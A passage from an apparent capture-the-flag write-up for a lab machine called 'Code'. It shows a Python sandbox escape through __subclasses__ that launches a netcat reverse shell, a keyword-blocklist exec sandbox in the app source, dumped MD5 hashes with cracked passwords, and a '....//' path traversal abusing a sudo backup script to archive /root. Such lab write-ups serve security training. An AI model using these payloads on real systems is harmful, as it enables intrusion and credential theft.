<class 'werkzeug.routing.map.MapAdapter'>\n482 <class '_csv.Dialect'>\n483 <class '_csv.reader'>\n484 <class '_csv.writer'>\n485 <class 'csv.Dialect'>\n486 <class 'csv.DictReader'>\n487 <class 'csv.DictWriter'>\n488 <class 'csv.Sniffer'>\n489 <class 'pathlib._Flavour'>\n490 <class 'pathlib._Accessor'>\n491 <class 'pathlib._Selector'>\n492 <class 'pathlib._TerminatingSelector'>\n493 <class 'pathlib.PurePath'>\n494 <class 'configparser.Interpolation'>\n495 <class 'importlib.metadata.FileHash'>\n496 <class 'importlib.metadata.Distribution'>\n497 <class 'importlib.metadata.DistributionFinder.Context'>\n498 <class 'importlib.metadata.FastPath'>\n499 <class 'importlib.metadata.Prepared'>\n500 <class 'blinker._utilities.Symbol'>\n501 <class 'blinker.base.Signal'>\n502 <class 'flask.cli.ScriptInfo'>\n503 <class 'flask.ctx._AppCtxGlobals'>\n504 <class 'flask.ctx.AppContext'>\n505 <class 'flask.ctx.RequestContext'>\n506 <class 'jinja2.bccache.Bucket'>\n507 <class 'jinja2.bccache.BytecodeCache'>\n508 <class 'jinja2.utils.MissingType'>\n509 <class 'jinja2.utils.LRUCache'>\n510 <class 'jinja2.utils.Cycler'>\n511 <class 'jinja2.utils.Joiner'>\n512 <class 'jinja2.utils.Namespace'>\n513 <class 'jinja2.nodes.EvalContext'>\n514 <class 'jinja2.nodes.Node'>\n515 <class 'jinja2.visitor.NodeVisitor'>\n516 <class 'jinja2.idtracking.Symbols'>\n517 <class 'jinja2.compiler.MacroRef'>\n518 <class 'jinja2.compiler.Frame'>\n519 <class 'jinja2.runtime.TemplateReference'>\n520 <class 'jinja2.runtime.Context'>\n521 <class 'jinja2.runtime.BlockReference'>\n522 <class 'jinja2.runtime.LoopContext'>\n523 <class 'jinja2.runtime.Macro'>\n524 <class 'jinja2.runtime.Undefined'>\n525 <class 'jinja2.lexer.Failure'>\n526 <class 'jinja2.lexer.TokenStreamIterator'>\n527 <class 'jinja2.lexer.TokenStream'>\n528 <class 'jinja2.lexer.Lexer'>\n529 <class 'jinja2.parser.Parser'>\n530 <class 'jinja2.environment.Environment'>\n531 <class 'jinja2.environment.Template'>\n532 <class 'jinja2.environment.TemplateModule'>\n533 <class 'jinja2.environment.TemplateExpression'>\n534 <class 'jinja2.environment.TemplateStream'>\n535 <class 'jinja2.loaders.BaseLoader'>\n536 <class 'flask.sansio.scaffold.Scaffold'>\n537 <class 'itsdangerous.signer.SigningAlgorithm'>\n538 <class 'itsdangerous.signer.Signer'>\n539 <class 'itsdangerous._json._CompactJSON'>\n540 <class 'flask.json.tag.JSONTag'>\n541 <class 'flask.json.tag.TaggedJSONSerializer'>\n542 <class 'flask.sessions.SessionInterface'>\n543 <class 'flask.sansio.blueprints.BlueprintSetupState'>\n544 <class 'sqlalchemy.util.preloaded._ModuleRegistry'>\n545 <class '_cython_3_0_10.cython_function_or_method'>\n546 <class '_cython_3_0_10.generator'>\n547 <class 'sqlalchemy.cyextension.collections.IdentitySet'>\n548 <class 'sqlalchemy.cyextension.collections.__pyx_scope_struct__symmetric_difference'>\n549 <class 'sqlalchemy.cyextension.collections.__pyx_scope_struct_1_genexpr'>\n550 <class 'sqlalchemy.cyextension.immutabledict.ReadOnlyContainer'>\n551 <class 'sqlalchemy.cyextension.processors.DecimalResultProcessor'>\n552 <class 'sqlalchemy.cyextension.resultproxy.BaseRow'>\n553 <class 'sqlalchemy.exc.HasDescriptionCode'>\n554 <class 'sqlalchemy.exc.DontWrapMixin'>\n555 <class 'typing_extensions._Sentinel'>\n556 typing_extensions.Any\n557 <class 'typing_extensions.TypedDict'>\n558 <class 'typing_extensions.Annotated'>\n559 <class 'typing_extensions.NoDefaultType'>\n560 <class 'typing_extensions._DefaultMixin'>\n561 <class 'typing_extensions.TypeVar'>\n562 <class 'typing_extensions._Immutable'>\n563 <class 'typing_extensions.deprecated'>\n564 <class 'typing_extensions.NamedTuple'>\n565 <class 'typing_extensions.NewType'>\n566 <class 'typing_extensions.TypeAliasType'>\n567 <class 'typing_extensions.Doc'>\n568 <class 'concurrent.futures._base._Waiter'>\n569 <class 'concurrent.futures._base._AcquireFutures'>\n570 <class 'concurrent.futures._base.Future'>\n571 <class 'concurrent.futures._base.Executor'>\n572 <class 'asyncio.coroutines.CoroWrapper'>\n573 <class 'asyncio.events.Handle'>\n574 <class 'asyncio.events.AbstractServer'>\n575 <class 'asyncio.events.AbstractEventLoop'>\n576 <class 'asyncio.events.AbstractEventLoopPolicy'>\n577 <class '_asyncio.Future'>\n578 <class '_asyncio.FutureIter'>\n579 <class 'TaskStepMethWrapper'>\n580 <class 'TaskWakeupMethWrapper'>\n581 <class '_RunningLoopHolder'>\n582 <class 'asyncio.futures.Future'>\n583 <class 'asyncio.protocols.BaseProtocol'>\n584 <class 'asyncio.transports.BaseTransport'>\n585 <class 'asyncio.sslproto._SSLPipe'>\n586 <class 'asyncio.locks._ContextManager'>\n587 <class 'asyncio.locks._ContextManagerMixin'>\n588 <class 'asyncio.locks.Event'>\n589 <class 'asyncio.trsock.TransportSocket'>\n590 <class 'asyncio.queues.Queue'>\n591 <class 'asyncio.streams.StreamWriter'>\n592 <class 'asyncio.streams.StreamReader'>\n593 <class 'asyncio.subprocess.Process'>\n594 <class 'asyncio.unix_events.AbstractChildWatcher'>\n595 <class 'greenlet.greenlet'>\n596 <class 'sqlalchemy.util.langhelpers.safe_reraise'>\n597 <class 'sqlalchemy.util.langhelpers.PluginLoader'>\n598 <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>\n599 <class 'sqlalchemy.util.langhelpers.HasMemoized'>\n600 <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>\n601 <class 'sqlalchemy.util.langhelpers._FastIntFlag'>\n602 <class 'sqlalchemy.util.langhelpers.TypingOnly'>\n603 <class 'sqlalchemy.util.langhelpers.EnsureKWArg'>\n604 <class 'sqlalchemy.util._concurrency_py3k.AsyncAdaptedLock'>\n605 <class 'sqlalchemy.util._concurrency_py3k._Runner'>\n606 <class 'sqlalchemy.util.concurrency._AsyncUtil'>\n607 <class 'sqlalchemy.event.registry.EventTarget'>\n608 <class 'sqlalchemy.event.base._UnpickleDispatch'>\n609 <class 'sqlalchemy.log.Identified'>\n610 <class 'sqlalchemy.log.InstanceLogger'>\n611 <class 'sqlalchemy.log.echo_property'>\n612 <class 'sqlalchemy.pool.base.PoolResetState'>\n613 <class 'sqlalchemy.pool.base._ConnDialect'>\n614 <class 'sqlalchemy.pool.base.ManagesConnection'>\n615 <class 'sqlalchemy.sql.roles.SQLRole'>\n616 <class 'sqlalchemy.sql.roles.UsesInspection'>\n617 <class 'sqlalchemy.sql.roles.AllowsLambdaRole'>\n618 <class 'sqlalchemy.sql.visitors.Visitable'>\n619 <class 'sqlalchemy.sql.visitors.HasTraverseInternals'>\n620 <class 'sqlalchemy.sql.visitors.HasTraversalDispatch'>\n621 <class 'sqlalchemy.sql.cache_key.HasCacheKey'>\n622 <class 'sqlalchemy.sql.operators.Operators'>\n623 <class 'sqlalchemy.sql.base.Immutable'>\n624 <class 'sqlalchemy.sql.base.DialectKWArgs'>\n625 <class 'sqlalchemy.sql.base.CompileState'>\n626 <class 'sqlalchemy.sql.base.Options'>\n627 <class 'sqlalchemy.sql.coercions.RoleImpl'>\n628 <class 'sqlalchemy.sql.coercions._Deannotate'>\n629 <class 'sqlalchemy.sql.coercions._StringOnly'>\n630 <class 'sqlalchemy.sql.type_api.TypeEngineMixin'>\n631 <class 'sqlalchemy.sql.sqltypes._RenderISO8601NoT'>\n632 <class 'sqlalchemy.sql.selectable.HasPrefixes'>\n633 <class 'sqlalchemy.sql.selectable.HasSuffixes'>\n634 <class 'sqlalchemy.sql.selectable.HasHints'>\n635 <class 'sqlalchemy.sql.selectable.NoInit'>\n636 <class 'sqlalchemy.sql.selectable._SelectFromElements'>\n637 <class 'sqlalchemy.sql.schema.HasConditionalDDL'>\n638 <class 'sqlalchemy.sql.schema.IdentityOptions'>\n639 <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>\n640 <class 'sqlalchemy.sql.util._repr_base'>\n641 <class 'sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping'>\n642 <class 'sqlalchemy.sql.dml.DMLWhereBase'>\n643 <class 'sqlalchemy.sql.functions._FunctionGenerator'>\n644 <class 'sqlalchemy.sql.compiler.Compiled'>\n645 <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>\n646 <class 'sqlalchemy.sql.lambdas.AnalyzedCode'>\n647 <class 'sqlalchemy.sql.lambdas.NonAnalyzedFunction'>\n648 <class 'sqlalchemy.sql.lambdas.AnalyzedFunction'>\n649 <class 'sqlalchemy.sql.naming.ConventionDict'>\n650 <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>\n651 <class 'sqlalchemy.engine.interfaces.ExecutionContext'>\n652 <class 'sqlalchemy.engine.interfaces.ExceptionContext'>\n653 <class 'sqlalchemy.engine.interfaces.AdaptedConnection'>\n654 <class 'sqlalchemy.engine.util.TransactionalContext'>\n655 <class 'sqlalchemy.engine.mock.MockConnection'>\n656 <class 'sqlalchemy.engine.result.ResultMetaData'>\n657 <class 'sqlalchemy.engine.result._WithKeys'>\n658 <class 'sqlalchemy.engine.cursor.ResultFetchStrategy'>\n659 <class 'sqlalchemy.engine.reflection.ReflectionDefaults'>\n660 <class 'sqlalchemy.engine.reflection._ReflectionInfo'>\n661 <class 'sqlalchemy.orm.base.InspectionAttr'>\n662 <class 'sqlalchemy.orm.collections.collection'>\n663 <class 'sqlalchemy.orm.collections.CollectionAdapter'>\n664 <class 'sqlalchemy.orm.mapped_collection._AttrGetter'>\n665 <class 'sqlalchemy.orm.interfaces._IntrospectsAnnotations'>\n666 <class 'sqlalchemy.orm.interfaces._DCAttributeOptions'>\n667 <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>\n668 <class 'sqlalchemy.orm.attributes.AttributeEventToken'>\n669 <class 'sqlalchemy.orm.attributes.AttributeImpl'>\n670 <class 'sqlalchemy.orm.attributes.HasCollectionAdapter'>\n671 <class 'sqlalchemy.orm.util._WrapUserEntity'>\n672 <class 'sqlalchemy.orm.state.AttributeState'>\n673 <class 'sqlalchemy.orm.state.PendingCollection'>\n674 <class 'sqlalchemy.orm.instrumentation._SerializeManager'>\n675 <class 'sqlalchemy.orm.context.QueryContext'>\n676 <class 'sqlalchemy.orm.context.DMLReturningColFilter'>\n677 <class 'sqlalchemy.orm.context._QueryEntity'>\n678 <class 'sqlalchemy.orm.loading.PostLoad'>\n679 <class 'sqlalchemy.orm.relationships.JoinCondition'>\n680 <class 'sqlalchemy.orm.relationships._ColInAnnotations'>\n681 <class 'sqlalchemy.orm.query.BulkUD'>\n682 <class 'sqlalchemy.orm.evaluator._EvaluatorCompiler'>\n683 <class 'sqlalchemy.orm.identity.IdentityMap'>\n684 <class 'sqlalchemy.orm.state_changes._StateChange'>\n685 <class 'sqlalchemy.orm.unitofwork.UOWTransaction'>\n686 <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>\n687 <class 'sqlalchemy.orm.unitofwork.PostSortRec'>\n688 <class 'sqlalchemy.orm.session._SessionClassMethods'>\n689 <class 'sqlalchemy.orm.clsregistry.ClsRegistryToken'>\n690 <class 'sqlalchemy.orm.clsregistry._ModNS'>\n691 <class 'sqlalchemy.orm.clsregistry._GetColumns'>\n692 <class 'sqlalchemy.orm.clsregistry._GetTable'>\n693 <class 'sqlalchemy.orm.clsregistry._class_resolver'>\n694 <class 'sqlalchemy.orm.decl_base._MapperConfig'>\n695 <class 'sqlalchemy.orm.decl_api._declared_attr_common'>\n696 <class 'sqlalchemy.orm.decl_api.MappedAsDataclass'>\n697 <class 'sqlalchemy.orm.decl_api.registry'>\n698 <class 'sqlalchemy.orm.strategies.LoadDeferredColumns'>\n699 <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>\n700 <class 'sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections'>\n701 <class 'sqlalchemy.orm.writeonly.DynamicCollectionAdapter'>\n702 <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>\n703 <class 'sqlalchemy.orm.dependency.DependencyProcessor'>\n704 <class 'flask_sqlalchemy.pagination.Pagination'>\n705 <class 'flask_sqlalchemy.model._QueryProperty'>\n706 <class 'flask_sqlalchemy.model.Model'>\n707 <class 'flask_sqlalchemy.model.BindMixin'>\n708 <class 'flask_sqlalchemy.model.NameMixin'>\n709 <class 'flask_sqlalchemy.extension.SQLAlchemy'>\n710 <class 'sqlalchemy.dialects.sqlite.json._FormatTypeMixin'>\n711 <class 'sqlalchemy.dialects.sqlite.base._DateTimeMixin'>\n712 <class 'sqlalchemy.dialects.sqlite.aiosqlite.AsyncAdapt_aiosqlite_cursor'>\n713 <class 'sqlalchemy.dialects.sqlite.aiosqlite.AsyncAdapt_aiosqlite_dbapi'>\n714 <class 'sqlite3.Row'>\n715 <class 'sqlite3.Cursor'>\n716 <class 'sqlite3.Connection'>\n717 <class 'sqlite3Node'>\n718 <class 'sqlite3.Cache'>\n719 <class 'sqlite3.Statement'>\n720 <class 'sqlite3.PrepareProtocol'>\n721 <class 'unicodedata.UCD'>\n"
Finally == I spend too much time on subprocess.Popen, but since it only can run a single command (without any redirection in command) (or maybe i just noob), so we should use os._wrap_close with getting its parent with the following command:
1
2
payload = = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.16 58787 >/tmp/f'
[].__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['sys' + 'tem'](payload)
We get user.txt in /home/app-production/user.txt!
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
app-production@code:~/app$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
1
2
3
4
5
6
7
app-production@code:~/app$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Aug 27 2024 .
drwxr-xr-x 18 root root 4096 Feb 24 19:44 ..
drwxr-x--- 5 app-production app-production 4096 Sep 16 2024 app-production
drwxr-x--- 7 martin martin 4096 Mar 23 06:45 martin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(wzwr㉿kali)-[~]
└─$ nc -lvnp 58787
listening on [any] 58787 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.11.62] 44926
bash: cannot set terminal process group (7726): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ ps aux
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 102368 11524 ? Ss Mar22 0:02 /sbin/init maybe-ubiquity
...
app-pro+ 7726 0.1 0.5 30656 23044 ? Ss 06:50 0:00 /usr/bin/python3 /usr/bin/gunicorn --workers 8 --bind 0.0.0.0:5000 --access-logfile /dev/null --error-logfile /dev/null app:app
...
app-pro+ 8307 0.0 0.0 8888 3280 ? R 06:52 0:00 ps aux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# writeable files
/home/app-production/.profile
/home/app-production/.cache/motd.legal-displayed
/home/app-production/.bash_logout
/home/app-production/.bashrc
/home/app-production/app/app.py
/home/app-production/app/static/css/styles.css
/home/app-production/app/templates/index.html
/home/app-production/app/templates/codes.html
/home/app-production/app/templates/register.html
/home/app-production/app/templates/login.html
/home/app-production/app/templates/about.html
/home/app-production/app/__pycache__/app.cpython-38.pyc
/home/app-production/app/instance/database.db
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app-production@code:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/umount
/usr/bin/at
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
app-production@code:~/app$ cat app.py
cat app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(80), nullable=False)
codes = db.relationship('Code', backref='user', lazy=True)
class Code(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
code = db.Column(db.Text, nullable=False)
name = db.Column(db.String(100), nullable=False)
def __init__(self, user_id, code, name):
self.user_id = user_id
self.code = code
self.name = name
@app.route('/')
def index():
code_id = request.args.get('code_id')
return render_template('index.html', code_id=code_id)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('User already exists. Please choose a different username.')
else:
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
flash('Registration successful! You can now log in.')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
user = User.query.filter_by(username=username, password=password).first()
if user:
session['user_id'] = user.id
flash('Login successful!')
return redirect(url_for('index'))
else:
flash('Invalid credentials. Please try again.')
return render_template('login.html')
@app.route('/logout')
def logout():
session.pop('user_id', None)
flash('You have been logged out.')
return redirect(url_for('index'))
@app.route('/run_code', methods=['POST'])
def run_code():
code = request.form['code']
old_stdout = sys.stdout
redirected_output = sys.stdout = io.StringIO()
try:
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
if keyword in code.lower():
return jsonify({'output': 'Use of restricted keywords is not allowed.'})
exec(code)
output = redirected_output.getvalue()
except Exception as e:
output = str(e)
finally:
sys.stdout = old_stdout
return jsonify({'output': output})
@app.route('/load_code/<int:code_id>')
def load_code(code_id):
if 'user_id' not in session:
flash('You must be logged in to view your codes.')
return redirect(url_for('login'))
code = Code.query.get_or_404(code_id)
if code.user_id != session['user_id']:
flash('You do not have permission to view this code.')
return redirect(url_for('codes'))
return jsonify({'code': code.code})
@app.route('/save_code', methods=['POST'])
def save_code():
if 'user_id' not in session:
return jsonify({'message': 'You must be logged in to save code.'}), 401
user_id = session['user_id']
code = request.form.get('code')
name = request.form.get('name')
if not code or not name:
return jsonify({'message': 'Code and name are required.'}), 400
new_code = Code(user_id=user_id, code=code, name=name)
db.session.add(new_code)
db.session.commit()
return jsonify({'message': 'Code saved successfully!'})
@app.route('/codes', methods=['GET', 'POST'])
def codes():
if 'user_id' not in session:
flash('You must be logged in to view your codes.')
return redirect(url_for('login'))
user_id = session['user_id']
codes = Code.query.filter_by(user_id=user_id).all()
if request.method == 'POST':
code_id = request.form.get('code_id')
code = Code.query.get(code_id)
if code and code.user_id == user_id:
db.session.delete(code)
db.session.commit()
flash('Code deleted successfully!')
else:
flash('Code not found or you do not have permission to delete it.')
return redirect(url_for('codes'))
return render_template('codes.html',codes=codes)
@app.route('/about')
def about():
return render_template('about.html')
if __name__ == '__main__':
if not os.path.exists('database.db'):
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app-production@code:~$ strings app/instance/database.db
strings app/instance/database.db
SQLite format 3
tablecodecode
CREATE TABLE code (
id INTEGER NOT NULL,
user_id INTEGER NOT NULL,
code TEXT NOT NULL,
name VARCHAR(100) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id)
7tableuseruser
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password VARCHAR(80) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
indexsqlite_autoindex_user_1user
Mmartin3de6f30c4a09c27fc71932bfc68474be/
#Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3
martin
# development
print("Functionality test")Test
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
Lucky! We found the hash result of martin, how about development?
Good, both we obtain the result!
1
2
development:development
martin:nafeelswordsmaster
Let try to login root with development first? Ok… failed
1
2
3
4
5
6
7
8
9
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ ls -la /usr/bin/backy.sh
-rwxr-xr-x 1 root root 926 Sep 16 2024 /usr/bin/backy.sh
Here are the /usr/bin/backy.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
1
2
3
4
5
6
7
8
9
10
11
12
13
martin@code:~/backups$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
1
2
3
4
5
6
7
8
9
martin@code:~/backups$ cat task.json
{
"destination": "/tmp/aaaa",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//....//....//....//....//root"
]
}
1
martin@code:~/backups$ sudo /usr/bin/backy.sh /tmp/aaaa/task.json
then we get the zip file of /root directories! we use scp to download the file and unzip it to get root.txt!
1
$ tar jxvf code_home_.._.._.._.._.._root_2025_March.tar.bz2
TODO
- we may need to exploit martin instead of root first?
- how to privilege escalation from martin to root
/usr/bin/backy.shhave sudo permissions- Path Traversal?
- Backy reverse enginner?









